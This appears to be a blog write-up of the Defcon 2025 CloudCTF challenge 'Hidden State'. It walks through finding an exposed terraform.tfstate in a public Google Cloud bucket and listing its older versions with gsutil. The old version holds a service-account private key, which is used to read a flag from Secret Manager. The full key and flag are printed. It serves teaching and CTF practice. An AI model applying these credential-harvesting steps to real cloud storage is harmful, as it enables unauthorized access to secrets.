Defcon 2025 CloudCTF: Hidden State

October 15, 2025

Stats

Number of Solves: 69

Pts: 320

Did I solve it by the end of the CTF? No 😢

Hidden State Challenge

Challenge Description - 😀

First phase: go to the link

https://storage.googleapis.com/hidden-state-prod-ctf-dc33/index.html

Hidden State Web Page

And you find this page

Next…

Alright you’ve opened everything and seen what you seen and understand the objective: which is to find some older version of a terraform file. How how? When you inspect the page, you find something interesting…

Hidden Stage Page 2

What is this hint in the code? But also, google hosted terraform resources are often mapped to a path with structure /infra/directory

So I was able to get it by just asking Claude which told me to try and enumerate some common names and paths. YOW.

<!-- TODO: Clean up infra files before production deployment -->
<!-- previous deployment left terraform.tfstate in /infra/ directory -->

SO then you go to https://storage.googleapis.com/hidden-state-prod-ctf-dc33/infra/terraform.tfstate

And it spits out this json terraform of a page

Terraform Page from Challenge

What you want to pay attention to is the “serial” key that has a value of 2. This means this terraform file is the second version. The “notes” value also confirms it as the hint implies that the previous version had a lot of information that got scrubbed.

So our new goal is to find this previous version that probably has the flag.

Since this is hosted on gcp, we can use the gcp cli to enumerate older versions.

❯ gsutil ls -a gs://hidden-state-prod-ctf-dc33/infra/terraform.tfstate

Running the command above returns 2 values:

gs://hidden-state-prod-ctf-dc33/infra/terraform.tfstate#1754460304936859
gs://hidden-state-prod-ctf-dc33/infra/terraform.tfstate#1754460305330281

The format is as follows: <gcp header>://<name of gcp thing>/<path/to/resource>/<file name>#<unique identifier that increments with later versions>

Here we can see 2 identifiers where one is earlier than the other.

I tried accessing the url value to see it via the browser and I couldn’t see it because (learning moment), gcp deployments might have natural protections that will only pull the latest version. However, that doesn’t stop you from grabbing a previous version another way. So here’s what I did instead:

  1. Download version 1754460304936859 via the command below

gsutil cp gs://hidden-state-prod-ctf-dc33/infra/terraform.tfstate#1754460304936859 .

  1. View what’s inside the downloaded terraform file. In my case, I ran cat terraform.tfstate to see the next hints
❯ cat terraform.tfstate | jq .                                                                      ✔ │ at 10:42:46 PM 
{
  "lineage": "a1b2c3d4-e5f6-7890-1234-567890abcdef",
  "outputs": {
    "flag_hint": {
      "type": "string",
      "value": "The flag is stored in Secret Manager under the secret name 'hidden-state-flag'. Use this service account and authenticate with: gcloud auth activate-service-account --key-file=service_account_key.json. Then access the secret with: gcloud secrets versions access latest --secret=\"hidden-state-flag\" --project=hiddenstate-dc33. Note: This service account only has access to the specific 'hidden-state-flag' secret."
    },
    "infrastructure_status": {
      "type": "string",
      "value": "deployed"
    },
    "leaked_service_account_key": {
      "sensitive": true,
      "type": "string",
      "value": "{\n  \"type\": \"service_account\",\n  \"project_id\": \"hiddenstate-dc33\",\n  \"private_key_id\": \"8cb4fcb80ee3a7b09a05bf8bc7ba4f067fd725f5\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3xsk1gspvLfxg\\nhzkba394wduh0WjtZN9elWvnt6oH/JMPKhXaCwuMJHKj+bfaGWnqjmyOOad4le8y\\nmWDxAFWWzeoKI9/CPksiD7QdEqktJBzc++bPwLWjTqJ3N/Y7EsuHZaopf4/LpXBN\\nU6D6IGnnHOrRkmOqSnOY+oox5c0p8MGY3L9sfAKIafyfTt3QlLcdB1I5gBMUE+p+\\nbLj3m9t6SYHzmOLXJGt18TPB0R5EIVuxDN0aY/xYI0sJKeciEN66K7mVxlDETLZ4\\nQd9VAQrPrrpCE4sywSiaHcqYCsIeaEcPB9dY4ZuLs0uhxhOaeLCNZIb3VpGAF/ct\\nBGtw0LXzAgMBAAECggEAPvqNm5vtubodogrVJDNrpLtyg/rapXgLIEO+jdMgHsqM\\nrwayJF3ioC0haFY8ji5lYK9cPkU9whJHvaRYV17Q9fQs/zqaBNwKLWsKQ2hQt5qH\\nladxysJ0vLlG7eospMPlIcpSTRRc9+IDIUzGftE62avMQPOU2hfXk5ZQY5cn/vXg\\niZLnZRGTMohzPcfupxRWUXOg0UGRcnOVr7OzOV8i2ead24TRoPyf6VekZ20im79o\\nJ5rPZkQ//hjgquwDYS+KiNm79NH3vImyCcQTCWQwoLTEFm+VVcurRTzLJHiOu4gg\\nmc7UCIHs+y7bJCXoSw/bczVGmzF3i6cS35dJdZKZ+QKBgQDrW7U64Xto85o1ycKn\\nWjgePXNzsPzfV7iFYeohXKEHb9fl29vSG5QaeHSlpYJ/vb5LNpAlnYMX7SNM+k9a\\n4jpuaJRQUUhkelVHS4vUHtDlIrLueiO/XNoDFD6x1++AgXpXWfyOVS1OzF1URmP+\\nDJKH03TS3a5Z1Aqqketr0ehdPwKBgQDH5PVxvFXqP2IupkakeDhD9OHSJPQEVDgx\\n1mHA+zaw4DfeEORGUchF42xTlAgEJ966dBfOK4fySTpAyZOz0qbgM9C8mJRwsE8m\\no/M17Zl7HtPqM5DH0aa1tzQjDTuDCibktVXm5FYBY+7Ff+o5MqnSG6XX0WO0KmjB\\nVK/ef4bWTQKBgBnJ4bDC9i/IyXPtWJvXweBmYVki4oJibUCIOwxOxwI2mhSAo7SA\\n+xhvbHCeEw+GLey13NOST8P2YvDTWJCfy0E/ykiGr4T69o8qUvb6LW99/tcsoPAd\\n73F47Wm1PHP7O/mITakW4jEJKYzLbbdvjzq8y8czLSCAoG6SMJaO2IQnAoGBAKPP\\nAzyDRDzEWGc2J6ncQu+dm/kkAzwQ8EQXFOCafUURWXcHjKn7lw1+w2TyaGdPbPyK\\n6n8vuSZZz/0Ls5inRc1xaNtEhlCaiyJ1NHe7EA2PQ8YnH7xAGEfNrFIVI/HMvfaq\\ni4y9DaXyCNecbYsV84iU06E6nGQmZNYZ2k2RYCP5AoGBAIEHw7LEmvZYSbfdTuwS\\n3jQJu5C1v99W2xD2QQferggQjb9qmaZisfhrTeeTFJUfsj6/pSCXmumwcxmicg3h\\nTI/iPOnEOt2/koCiBz26iG/O3/pxKYlwDRzJ6cZfRJp85qgEw5t2/WGRP0dGSlJJ\\npovb0mLmR1FPjUD52KClH3mV\\n-----END PRIVATE KEY-----\\n\",\n  \"client_email\": \"ctf-leaky-sa@hiddenstate-dc33.iam.gserviceaccount.com\",\n  \"client_id\": \"101443721771953202426\",\n  \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n  \"token_uri\": \"https://oauth2.googleapis.com/token\",\n  \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n  \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/ctf-leaky-sa%40hiddenstate-dc33.iam.gserviceaccount.com\",\n  \"universe_domain\": \"googleapis.com\"\n}\n"
    }
  },
  "resources": [],
  "serial": 1,
  "terraform_version": "1.2.0",
  "version": 4
}

And under the “outputs” value, we know our next steps. Thank you to the ctf writer for making this challenge very straightforward.

  1. Save the value of "leaked_service_account_key" in “value” into a file locally called service_account_key.json

  2. Authenticate into the gcloud instance (gcloud auth activate-service-account --key-file="service_account_key.json")

❯ gcloud auth activate-service-account --key-file="service_account_key.json"       
Activated service account credentials for: [ctf-leaky-sa@hiddenstate-dc33.iam.gserviceaccount.com]
  1. Now that we are authenticated in, we can access the flag via:
❯ gcloud secrets versions access latest --secret=hidden-state-flag --project=hiddenstate-dc33

FLAG-{bvpkm3ed5onOA4dXSYGPMPfbpA7cfob0}

Et viola! you’ve solved the ctf!!